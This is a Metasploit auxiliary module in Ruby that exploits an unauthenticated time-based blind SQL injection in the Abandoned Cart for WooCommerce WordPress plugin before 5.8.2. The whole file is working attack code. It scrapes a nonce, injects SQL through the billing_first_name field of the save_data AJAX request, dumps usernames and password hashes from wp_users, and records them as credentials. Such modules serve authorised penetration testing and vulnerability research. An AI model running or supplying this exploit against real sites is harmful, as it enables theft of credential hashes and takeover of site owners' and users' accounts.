Abandoned Cart For WooCommerce SQL Injection Scanner

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HTTP::Wordpress  
include Msf::Auxiliary::Scanner  
include Msf::Exploit::SQLi  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Abandoned Cart for WooCommerce SQLi Scanner',  
'Description' => %q{  
Abandoned Cart, a plugin for WordPress which extends the WooCommerce plugin,  
prior to 5.8.2 is affected by an unauthenticated SQL injection via the  
billing_first_name parameter of the save_data AJAX call. A valid  
wp_woocommerce_session cookie is required, which has at least one item in the  
cart.  
},  
'Author' => [  
'h00die', # msf module  
'WPDeeply', # Discovery and PoC  
],  
'License' => MSF_LICENSE,  
'References' => [  
['WPVDB', '10461'],  
['URL', 'https://wpdeeply.com/woocommerce-abandoned-cart-before-5-8-2-sql-injection/'],  
['URL', 'https://plugins.trac.wordpress.org/changeset/2413885']  
],  
'Actions' => [  
['List Users', { 'Description' => 'Queries username, password hash for COUNT users' }]  
],  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [],  
'SideEffects' => [IOC_IN_LOGS]  
},  
'DefaultAction' => 'List Users',  
'DisclosureDate' => '2020-11-05'  
)  
)  
register_options [  
OptInt.new('COUNT', [false, 'Number of users to enumerate', 1]),  
OptString.new('CHECKOUTURL', [true, 'Checkout URL', '/index.php/checkout/']),  
OptString.new('COOKIE', [true, 'Cookie with an item in the shopping cart. Must contain wp_woocommerce_session', ''])  
]  
end  
  
def run_host(ip)  
unless wordpress_and_online?  
vprint_error('Server not online or not detected as wordpress')  
return  
end  
  
checkcode = check_plugin_version_from_readme('woocommerce-abandoned-cart', '5.8.2')  
if checkcode == Msf::Exploit::CheckCode::Safe  
vprint_error('Abandoned Cart for WooCommerce version not vulnerable')  
return  
end  
print_good('Vulnerable version of Abandoned Cart for WooCommerce detected')  
  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, datastore['CHECKOUTURL']),  
'cookie' => datastore['COOKIE']  
})  
  
fail_with Failure::Unreachable, 'Connection failed' unless res  
  
unless res.body =~ /name="wcal_guest_capture_nonce" value="([^"]*)"/  
print_error('Unable to find wcal_guest_capture_nonce')  
return  
end  
nonce = Regexp.last_match[1]  
print_status("Nonce: #{nonce}")  
  
@sqli = create_sqli(dbms: MySQLi::TimeBasedBlind) do |payload|  
# required or you get values like <> for username and *)/?*//-?//>/?=)+ for password hash  
if payload.include?('<')  
payload.gsub!(/<>/, '=')  
payload.gsub!(/(sleep\(\d+\.?\d*\)),0/) { "0,#{Regexp.last_match(1)}" }  
end  
  
res = send_request_cgi({  
'method' => 'POST',  
'cookie' => datastore['COOKIE'],  
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),  
'vars_post' => {  
'billing_first_name' => "#{Rex::Text.rand_text_alpha_lower(6)}','','','','',( TRUE AND #{payload})) -- #{Rex::Text.rand_text_alpha_lower(1)}",  
'billing_last_name' => Rex::Text.rand_surname,  
'billing_company' => '',  
'billing_address_1' => Rex::Text.rand_text_alpha(8),  
'billing_address_2' => '',  
'billing_city' => Rex::Text.rand_text_alpha(6),  
'billing_state' => Rex::Text.rand_state,  
'billing_postcode' => Rex::Text.rand_text_numeric(6),  
'billing_country' => Rex::Text.rand_country,  
'billing_phone' => Rex::Text.rand_text_numeric(9),  
'billing_email' => "#{Rex::Text.rand_surname}@#{Rex::Text.rand_text_alpha_lower(6)}.com",  
'order_notes' => '',  
'wcal_guest_capture_nonce' => nonce,  
'action' => 'save_data'  
}  
})  
fail_with Failure::Unreachable, 'Connection failed' unless res  
end  
  
unless @sqli.test_vulnerable  
print_bad("#{peer} - Testing of SQLi failed. If this is time based, try increasing SqliDelay.")  
return  
end  
columns = ['user_login', 'user_pass']  
  
print_status('Enumerating Usernames and Password Hashes')  
data = @sqli.dump_table_fields('wp_users', columns, '', datastore['COUNT'])  
  
table = Rex::Text::Table.new('Header' => 'wp_users', 'Indent' => 1, 'Columns' => columns)  
data.each do |user|  
create_credential({  
workspace_id: myworkspace_id,  
origin_type: :service,  
module_fullname: fullname,  
username: user[0],  
private_type: :nonreplayable_hash,  
jtr_format: Metasploit::Framework::Hashes.identify_hash(user[1]),  
private_data: user[1],  
service_name: 'Wordpress',  
address: ip,  
port: datastore['RPORT'],  
protocol: 'tcp',  
status: Metasploit::Model::Login::Status::UNTRIED  
})  
table << user  
end  
print_good(table.to_s)  
end  
end  
`